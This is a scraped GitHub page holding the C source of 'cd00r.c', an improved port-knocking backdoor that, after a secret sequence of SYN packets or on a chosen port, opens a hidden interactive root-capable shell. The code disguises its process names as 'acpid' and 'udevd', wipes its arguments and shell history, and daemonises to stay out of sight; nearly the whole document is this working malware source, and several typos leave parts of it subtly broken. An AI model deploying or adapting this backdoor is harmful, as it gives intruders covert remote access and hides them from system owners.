

 github.com/aaaaaaaannn/cd00r.c/blob/master/cd00r.c

aaaaaaaannn

aaaaaaaannn/ cd00r.c



in <https://funoverip.net/2011/03/cd00r-knocking-backdoor-improved/>

 1

Contributor

 0

Issues

 24

Stars

 14

Forks



1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

41

42

43

44

45

46

47

48

49

50

51

52

53

54

55

56

57

58

59

60

61

62

63

64

65

66

67

68

69

70

71

72

73

✓

74

75

76

77

78

79

80

81

82

83

84

85

86

87

88

89

90

91

92

93

94

95

96

97

98

99

100

101

102

103

104

105

106

107

108

109

110

111

112

113

114

115

✓

116

117

118

119

120

121

122

123

124

125

126

127

128

129

130

131

132

133

134

135

136

137

138

139

140

141

142

143

144

145

146

147

148

149

150

151

152

153

154

155

156

157

158

159

160

161

162

163

164

165

166

167

168

169

170

171

172

173

174

175

176

177

178

179

180

181

182

183

184

185

186

187

188

189

190

191

192

193

194

195

196

197

198

199

200

201

202

203

204

205

206

207

208

209

210

211

212

213

214

215

216

217

218

219

220

221

222

223

224

225

226

227

228

229

230

231

232

233

234

235

236

237

238

239

240

241

242

243

244

245

246

247

248

249

250

251

252

253

254

255

256

257

258

259

260

261

262

263

264

265

266

267

268

269

270

271

272

273

274

275

276

277

278

279

280

281

282

283

284

285

286

287

288

289

290

291

292

293

294

295

296

297

298

299

300

301

302

303

304

305

306

307

308

309

310

311

312

313

314

315

316

317

318

319

320

321

322

323

324

325

326

327

328

329

330

331

332

333

334

335

336

337

338

339

340

341

342

343

344

345

346

347

348

349

350

351

352

353

354

355

356

357

358

359

360

361

362

363

364

365

366

367

368

369

370

371

372

373

374

375

376

377

378

379

380

381

382

383

384

385

386

387

388

389

390

391

392

393

394

395

396

397

398

399

400

401

402

403

404

405

406

407

408

409

410

411

412

413

414

415

416

417

418

419

420

421

422

423

424

425

426

427

428

429

430

431

432

433

434

435

436

437

438

439

440

441

442

443

444

445

446

447

448

449

450

451

452

453

454

455

456

457

458

459

460

461

462

463

464

465

466

467

468

469

470

471

472

473

474

475

476

477

478

479

480

481

482

483

484

485

486

487

488

489

490

491

492

493

494

495

496

497

498

499

500

501

502

503

504

505

506

507

508

509

510

511

512

513

514

515

516

517

518

519

520

521

522

523

524

525

526

527

528

529

530

531

532

533

534

535

536

537

538

539

540

541

542

543

544

545

546

547

548

549

550

551

552

553

554

555

556

557

558

559

560

561

562

563

564

565

566

567

568

569

570

571

572

573

574

575

576

577

578

579

580

581

582

583

584

585

586

587

588

589

590

591

592

593

594

595

596

597

598

599

600

601

602

603

604

605

606

607

608

609

610

611

612

613

614

615

616

617

618

619

620

621

622

623

624

625

626

627

628

629

630

631

632

633

634

635

636

637

638

639

640

641

642

643

644

645

646

647

648

649

650

651

652

653

654

655

656

657

658

659

660

661

662

663

664

665

666

667

668

669

670

671

672

673

674

675

676

677

678

679

680

681

682

683

684

685

686

687

688

689

690

691

692

693

694

695

696

697

698

699

700

701

702

703

704

705

706

707

708

709

710

711

712

713

714

715

716

717

718

719

720

721

722

723

724

725

726

727

728

729

730

731

732

733

734

735

736

737

738

739

740

741

742

743

744

745

746

747

748

749

750

751

752

753

754

755

756

757

758

759

760

761

762

763

764

765

766

767

768

769

770

771

772

773

774

/* cdoor.c

*

*

Usage: --pcap (compile with "-DUSE_PCAP -lpcap")

--port <port> [-p]

*

*

*/

//#define USE_PCAP

#define PASSWORD "rgb"

#define BACKLOG 5

#define SHELL "/bin/sh"

#define ENV_HOME "/tmp"

```

#define ENV_HISTFILE "/dev/null"

#define ENV_PS1 "[\033[32;1m#\033[0m] "

#define MASK_DEAMON "acpid"

#define MASK_SHELL "udevd"

#ifdef USE_PCAP

// For pcap listener

#define CDR_INTERFACE "eth0"

#define CDR_ADDRESS "192.168.100.1"

#define CDR_PORTS { 999,888,777,666,555,00 }

#define CDR_CODERESET

#define CDR_SENDER_ADDR

#define CDR_NOISE_COMMAND "noi"

#endif

/*****

* Nothing to change below this line (hopefully)

*****/

#include <stdio.h>

#include <stdlib.h>

#include <string.h>

#include <unistd.h>

#include <signal.h>

#include <netinet/in.h> /* for IPPROTO_bla consts */

#include <sys/socket.h> /* for inet_ntoa() */

#include <arpa/inet.h> /* for inet_ntoa() */

#include <netdb.h> /* for gethostbyname() */

```

```
#include <sys/types.h> /* for wait() */

#include <sys/wait.h> /* for wait() */

#include <fcntl.h>

#include <linux/tcp.h>

//PTS

#include <sys/stropts.h>

#include <sys/resource.h>

#include <sys/utsname.h>

// For tty

#define TIOCSTTY 0x540E

#define TIOCGWINSZ 0x5413

#define TIOCSWINSZ 0x5414

#define ECHAR 0x1d

#define BUF 32768

#ifdef USE_PCAP

#include <pcap.h>

//#include <pcap/bpf.h>

//#include <net/bpf.h>

#define ETHLENGTH 14

#define IP_MIN_LENGTH 20

#define CAPLENGTH 98

struct iphdr {

u_char ihl:4,

version:4;

u_char tos;
```

```

short tot_len;

u_short id;

short off;

u_char ttl;

u_char protocol;

u_short check;

struct in_addr saddr;

struct in_addr daddr;

};

/*

struct tcphdr {

unsigned short int src_port;

unsigned short int dest_port;

unsigned long int seq_num;

unsigned long int ack_num;

unsigned short int rawflags;

unsigned short int window;

long int crc_a_urgent;

long int options_a_padding;

};

*/

/* the ports which have to be called (by a TCP SYN packet), before

* cd00r opens

*/

unsigned int cports[] = CDR_PORTS;

```

```

int cportcnt = 0;

/* which is the next required port ? */

int actport = 0;

#endif

#ifdef CDR_SENDER_ADDR

/* some times, looking at sender's address is desired.

* If so, sender's address is saved here */

struct in_addr sender;

#endif

struct winsize {

unsigned short ws_row;

unsigned short ws_col;

unsigned short ws_xpixel;

unsigned short ws_ypixel;

};

int open_tty_shell(int,int,int);

#ifdef USE_PCAP

void start_pcap_listener();

#endif

void show_help(char *progrname){

//printf ("Usage: --pcap (compile with \"-DUSE_PCAP -lpcap\")\n",progrname);

//printf (" --port <port> [-p]\n",progrname);

}

int main (int argc, char *argv[]){

int port;

```

```

#ifdef USE_PCAP

if (argc < 2){

show_help(argv[0]);

exit(0);

}

#else

if (argc < 3){ // Need port

show_help(argv[0]);

exit(0);

}

#endif

// hidden cmd for "PS" command:

memset(argv[0],0,strlen(argv[0]));

strcpy(argv[0], MASK_DEAMON);

#ifdef USE_PCAP

if(strncmp(argv[1],"--pcap",6) == 0){

memset(argv[1],0,strlen(argv[1])); // hide arg

start_pcap_listener(port);

}else{

#endif

if (strncmp(argv[1],"--port",6) == 0){

memset(argv[1],0,strlen(argv[1])); // hide arg

port = atoi(argv[2]); //get port

memset(argv[2],0,strlen(argv[2])); // hide arg

if (argc == 4 && (strncmp(argv[3],"-p",2) == 0)){ // Continue to Accept new clients ?

```

```

memset(argv[3],0,strlen(argv[3])); // arg
open_tty_shell(port,0,1); // Be persistent
}else{
open_tty_shell(port,0,0);
}
}else{
show_help(argv[0]);
exit(0);
}

#ifdef USE_PCAP
}

#endif

return 0;
}

/*

int open_tty(int *tty, int *pty){
char *slave;

*pty = open("/dev/ptmx", O_RDWR);

grantpt(*pty);
unlockpt(*pty);

slave = (char*)ptsname(*pty);

#ifdef DEBUG
printf("DEBUG: tty:%s\n",slave);
#endif

*tty = open(slave, O_RDWR);

```

```

ioctl(*tty, I_PUSH, "ptem");

ioctl(*tty, I_PUSH, "ldterm");

return 1;

}

*/

/*****/

void get_tty(int num, char *base, char *buf)

{

char series[] = "pqrstuvwxyzabcde";

char subs[] = "0123456789abcdef";

int pos = strlen(base);

strcpy(buf, base);

buf[pos] = series[(num >> 4) & 0xF];

buf[pos+1] = subs[num & 0xF];

buf[pos+2] = 0;

}

//////////

int open_tty(int *tty, int *pty)

{

char buf[512];

int i, fd;

fd = open("/dev/ptmx", O_RDWR);

close(fd);

for (i=0; i < 256; i++) {

get_tty(i, "/dev/pty", buf);

```

```

*pty = open(buf, O_RDWR);

if (*pty < 0) continue;

get_tty(i, "/dev/tty", buf);

*tty = open(buf, O_RDWR);

if (*tty < 0) {

close(*pty);

continue;

}

return 1;

}

return 0;

}

/*****/

void sig_child(int i){

signal(SIGCHLD, sig_child);

waitpid(-1, NULL, WNOHANG);

}

void hangout(int i){

kill(0, SIGHUP);

kill(0, SIGTERM);

}

int open_tty_shell(int port, int from_pcap /* bool */ , int persistent /* bool */){

int i;

int pid;

struct sockaddr_in serv;

```

```

struct sockaddr_in cli;

int sock;

int scli;

int slen;

int optval;

int subshell;

int tty;

int pty;

fd_set fds;

char buf[BUF];

char *envp[10];

char *argv[10];

char env_home[64];

char env_ps1[64];

char env_histfile[64];

char shell_name[64];

char shell_arg1[32];

#ifdef DEBUG

printf ("DEBUG: Start
open_tty_shell(port:%d,from_pcap:%d,persistent:%d)\n",port,from_pcap,persistent);

#endif

sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);

if (sock < 0) {

perror("socket");

return 1;

```

```

}

bzero((char *) &serv, sizeof(serv));

serv.sin_family = AF_INET;

serv.sin_addr.s_addr = htonl(INADDR_ANY);

serv.sin_port = htons(port);

// set SO_REUSEADDR on a socket to true (1):

optval = 1;

setsockopt(sock, SOL_SOCKET, SO_REUSEADDR, &optval, sizeof(optval));

if (bind(sock, (struct sockaddr *) &serv, sizeof(serv)) < 0) {

perror("bind");

return 1;

}

if (listen(sock, 5) < 0) {

perror("listen");

return 1;

}

fflush(stdout);

/* go daemon */

if(!from_pcap){

// already done in pcap routine

switch (i=fork()) {

case -1:

#ifdef DEBUG

printf("DEBUG: fork() failed\n");

#endif

```

```

exit (0);

break; /* not reached */

case 0:

/* I'm happy */

break;

default:

exit (0);

}

}else{

setsid();

chdir("/");

pid = open("/dev/null", O_RDWR);

dup2(pid, 0);

dup2(pid, 1);

dup2(pid, 2);

close(pid);

signal(SIGHUP, SIG_IGN);

signal(SIGCHLD, sig_child);

}

slen = sizeof(cli);

// Shell

sprintf(shell_name, MASK_SHELL);

sprintf(shell_arg1, "-i");

argv[0] = shell_name;

argv[1] = shell_arg1;

```

```

argv[2] = NULL;

/* setup enviroment */

sprintf(env_ps1, "PS1=%s", ENV_PS1);

sprintf(env_home, "HOME=%s", ENV_HOME);

sprintf(env_histfile, "HISTFILE=%s", ENV_HISTFILE);

envp[1] = env_home;

envp[0] = env_ps1;

envp[2] = env_histfile;

envp[3] = NULL;

do{

scli = accept(sock, (struct sockaddr *) &cli, &slen);

/* create new group */

setpgid(0, 0);

/* open slave & master side of tty */

if (!open_tty(&tty, &pty)) {

char msg[] = "Can't fork pty, bye!\n";

write(scli, msg, strlen(msg));

close(scli);

exit(0);

}

/* fork child */

subshell = fork();

if (subshell == 0) {

/* close master */

close(pty);

```

```

/* attach tty */

setsid() ;

ioctl(tty, TIOCSCTTY);

/* close local part of connection */

close(scli);

close(sock);

signal(SIGHUP, SIG_DFL);

signal(SIGCHLD, SIG_DFL);

dup2(tty, 0);

dup2(tty, 1);

dup2(tty, 2);

close(tty);

execve("/bin/sh", argv, envp);
}

/* close slave */

close(tty);

signal(SIGCHLD, SIG_IGN);

while (1) {

/* watch tty and client side */

FD_ZERO(&fds);

FD_SET(pty, &fds);

FD_SET(scli, &fds);

if (select((pty > scli) ? (pty+1) : (scli+1),
&fds, NULL, NULL, NULL) < 0) {

#ifdef DEBUG

```

```

printf("Error select\n");

#endif

break;

}

if (FD_ISSET(pty, &fds)) {

int count;

count = read(pty, buf, BUF);

if (count <= 0) break;

if (write(scli, buf, count) <= 0) break;

}

if (FD_ISSET(scli, &fds)) {

int count;

unsigned char *p, *d;

d = buf;

count = read(scli, buf, BUF);

if (count <= 0) break;

/* setup win size */

p = memchr(buf, ECHAR, count);

if (p) {

unsigned char wb[5];

int rlen = count - ((ulong) p - (ulong) buf);

struct winsize ws;

/* wait for rest */

if (rlen > 5) rlen = 5;

memcpy(wb, p, rlen);

```

```

if (rlen < 5) {
    read(scli, &wb[rlen], 5 - rlen);
}

/* setup window */

ws.ws_xpixel = ws.ws_ypixel = 0;
ws.ws_col = (wb[1] << 8) + wb[2];
ws.ws_row = (wb[3] << 8) + wb[4];

ioctl(pty, TIOCSWINSZ, &ws);

kill(0, SIGWINCH);

/* write the rest */

write(pty, buf, (ulong) p - (ulong) buf);

rlen = ((ulong) buf + count) - ((ulong)p+5);

if (rlen > 0) write(pty, p+5, rlen);
} else

if (write(pty, d, count) <= 0) break;

}

} //end while(1) (read tty)

close(scli);

close(pty);

waitpid(subshell, NULL, 0);

if(!persistent || from_pcap){

close(sock);

return 0;

}

} while(persistent && !from_pcap);

```

```

close(sock);

return 0;

}

#ifdef USE_PCAP

/* error function for pcap lib */

void capterror(pcap_t *caps, char *message) {

pcap_perror(caps,message);

exit (-1);

}

/* signal counter/handler */

void signal_handler(int sig) {

/* the ugly way ... */

_exit(0);

}

void *smalloc(size_t size) {

void *p;

if ((p=malloc(size))==NULL) {

exit(-1);

}

memset(p,0,size);

return p;

}

#endif // USE_PCAP

#ifdef USE_PCAP

/* general rules in main():

```

```

* - errors force an exit without comment to keep the silence

* - errors in the initialization phase can be displayed by a

* command line option

*/

void start_pcap_listener (int port) {

/* variables for the pcap functions */

#define CDR_BPF_PORT "port "

#define CDR_BPF_HOST "host "

#define CDR_BPF_ORCON " or "

char pcap_err[PCAP_ERRBUF_SIZE]; /* buffer for pcap errors */

pcap_t *cap; /* capture handler */

bpf_u_int32 network,netmask;

struct pcap_pkthdr *phead;

struct bpf_program cfilter; /* the compiled filter */

struct iphdr *ip;

struct tcphdr *tcp;

u_char *pdata;

/* for filter compilation */

char *filter;

char portnum[6];

char hostip[16];

/* command line */

int cdr_noise = 0;

/* the usual int i */

int i;

```

```

int time_to_get_listen_port=0;

/* for resolving the CDR_ADDRESS */

#ifdef CDR_ADDRESS

struct hostent *hent;

#endif //CDR_ADDRESS

/* resolve our address - if desired */

#ifdef CDR_ADDRESS

if ((hent=gethostbyname(CDR_ADDRESS))==NULL) {

if (cdr_noise)

fprintf(stderr,"gethostbyname() failed\n");

exit (0);

}

#endif //CDR_ADDRESS

/* count the ports our user has #defined */

while (cports[cportcnt++]);

cportcnt--;

#ifdef DEBUG

printf("%d ports used as code\n",cportcnt);

#endif //DEBUG

/* to speed up the capture, we create an filter string to compile.

* For this, we check if the first port is defined and create it's filter,

* then we add the others */

if (cports[0]) {

memset(&portnum,0,6);

sprintf(portnum,"%d",cports[0]);

```

```

filter=(char *)salloc(strlen(CDR_BPF_PORT)+strlen(portnum)+1);

strcpy(filter,CDR_BPF_PORT);

strcat(filter,portnum);

} else {

if (cdr_noise)

fprintf(stderr,"NO port code\n");

exit (0);

}

/* here, all other ports will be added to the filter string which reads

* like this:

* port <1> or port <2> or port <3> ...

* see tcpdump(1)

*/

for (i=1;i<cportcnt;i++) {

if (cports[i]) {

memset(&portnum,0,6);

sprintf(portnum,"%d",cports[i]);

if ((filter=(char *)realloc(filter,

strlen(filter)+

strlen(CDR_BPF_PORT)+

strlen(portnum)+

strlen(CDR_BPF_ORCON)+1))

==NULL) {

if (cdr_noise)

fprintf(stderr,"realloc() failed\n");

```

```

exit (0);

}

strcat(filter,CDR_BPF_ORCON);

strcat(filter,CDR_BPF_PORT);

strcat(filter,portnum);

}

}

/* initialize the pcap 'listener' */

if (pcap_lookupnet(CDR_INTERFACE,&network,&netmask,pcap_err)!=0) {

if (cdr_noise)

fprintf(stderr,"pcap_lookupnet: %s\n",pcap_err);

exit (0);

}

/* open the 'listener' */

if ((cap=pcap_open_live(CDR_INTERFACE,CAPLENGTH,

0, /*not in promiscuous mode*/

0, /*no timeout */

pcap_err))==NULL) {

#ifdef DEBUG

fprintf(stderr,"pcap_open_live: %s\n",pcap_err);

#endif

exit (0);

}

/* now, compile the filter and assign it to our capture */

if (pcap_compile(cap,&cfilter,filter,0,netmask)!=0) {

```

```

if (cdr_noise)

capterror(cap,"pcap_compile");

exit (0);

}

if (pcap_setfilter(cap,&cfilter)!=0) {

if (cdr_noise)

capterror(cap,"pcap_setfilter");

exit (0);

}

/* the filter is set - let's free the base string*/

free(filter);

/* allocate a packet header structure */

phead=(struct pcap_pkthdr *)salloc(sizeof(struct pcap_pkthdr));

/* register signal handler */

//signal(SIGABRT,&signal_handler);

//signal(SIGTERM,&signal_handler);

//signal(SIGINT,&signal_handler);

/* if we don't use DEBUG, let's be nice and close the streams */

#ifdef DEBUG

//fclose(stdin);

//fclose(stdout);

//fclose(stderr);

#endif

/* go daemon */

switch (i=fork()) {

```

```

case -1:

if (cdr_noise)

fprintf(stderr,"fork() failed\n");

exit (0);

break; // not reached

case 0:

// I'm happy

break;

default:

exit (0);

}

#ifdef DEBUG

printf("DEBUG: daemon forked\n");

#endif

/* main loop */

for(;;) {

/* if there is no 'next' packet in time, continue loop */

if ((pdata=(u_char *)pcap_next(cap,phead))==NULL) continue;

/* if the packet is too small, continue loop */

if (phead->len<=(ETHLENGTH+IP_MIN_LENGTH)) continue;

/* make it an ip packet */

ip=(struct iphdr *)(pdata+ETHLENGTH);

/* if the packet is not IPv4, continue */

if ((unsigned char)ip->version!=4) continue;

/* make it TCP */

```

```

tcp=(struct tcphdr *) (pdata+ETHLENGTH+((unsigned char)ip->ihl*4));

/* FLAG check's - see rfc793 */

/* if it isn't a SYN packet, continue */

//if (!(ntohs(tcp->rawflags)&0x02)) continue;

if (!ntohs(tcp->syn)) continue;

/* if it is a SYN-ACK packet, continue */

//if (ntohs(tcp->rawflags)&0x10) continue;

if (ntohs(tcp->ack)) continue;

#ifdef CDR_ADDRESS

/* if the address is not the one defined above, let it be */

if (hent) {

#ifdef DEBUG

if (memcmp(&ip->daddr,hent->h_addr_list[0],hent->h_length)) {

printf("DEBUG: Destination address mismatch\n");

continue;

}

#else

if (memcmp(&ip->daddr,hent->h_addr_list[0],hent->h_length))

continue;

#endif // DEBUG

}

#endif // CDR_ADDRESS

#ifdef DEBUG

printf("DEBUG: Check tcp port (%d)\n",ntohs(tcp->dest));

#endif

```

```

if (time_to_get_listen_port){
time_to_get_listen_port = 0;

#ifdef DEBUG

printf("DEBUG: Start Listener on port '%d'\n",ntohs(tcp->dest));

#endif

// START SHELL LISTENER

open_tty_shell(ntohs(tcp->dest),1,0);

actport=0;

}

/* it is one of our ports, it is the correct destination
* and it is a genuine SYN packet - let's see if it is the RIGHT
* port */

if (ntohs(tcp->dest)==cports[actport]) {

#ifdef DEBUG

printf("DEBUG: Port %d is good as code part %d\n",ntohs(tcp->dest),
actport);

#endif // DEBUG

#ifdef CDR_SENDER_ADDR

/* check if the sender is the same */

if (actport==0) {

memcpy(&sender,&ip->saddr,4);

}else{

if (memcmp(&ip->saddr,&sender,4)) { /* sender is different */

actport=0;

#endif DEBUG

```

```

printf("DEBUG: Sender mismatch\n");

#endif // DEBUG

continue;

}

}

#endif //CDR_SENDER_ADDR

/* it is the rigth port ... take the next one

* or was it the last ??*/

if ((++actport)==cportcnt) {

/* BINGO ! the next port will be the port where to listen*/

#ifdef DEBUG

printf("DEBUG: Time to wait for the listen port\n");

#endif

// Change the pcap filter to "host 1.2.3.4"

memset(&hostip,0,16);

sprintf(hostip,"%s",inet_ntoa(ip->saddr));

filter=(char *)calloc(strlen(CDR_BPF_HOST)+strlen(hostip)+1);

strcpy(filter,CDR_BPF_HOST);

strcat(filter,hostip);

/* now, compile the filter and assign it to our capture */

if (pcap_compile(cap,&cfilter,filter,0,netmask)!=0) {

#ifdef DEBUG

caperror(cap,"pcap_compile");

#endif

exit (0);

```

```

}

if (pcap_setfilter(cap,&cfilter)!=0) {

#ifdef DEBUG

capterror(cap,"pcap_setfilter");

#endif

exit (0);

}

free(filter);

// START SHELL LISTENER

time_to_get_listen_port = 1;

actport=0;

} /* ups... some more to go */

} else {

#ifdef CDR_CODERESET

actport=0;

#endif

continue;

}

} /* end of main loop */

/* this is actually never reached, because the signal_handler() does the

* exit.

*/

}

#endif // USE_PCAP

```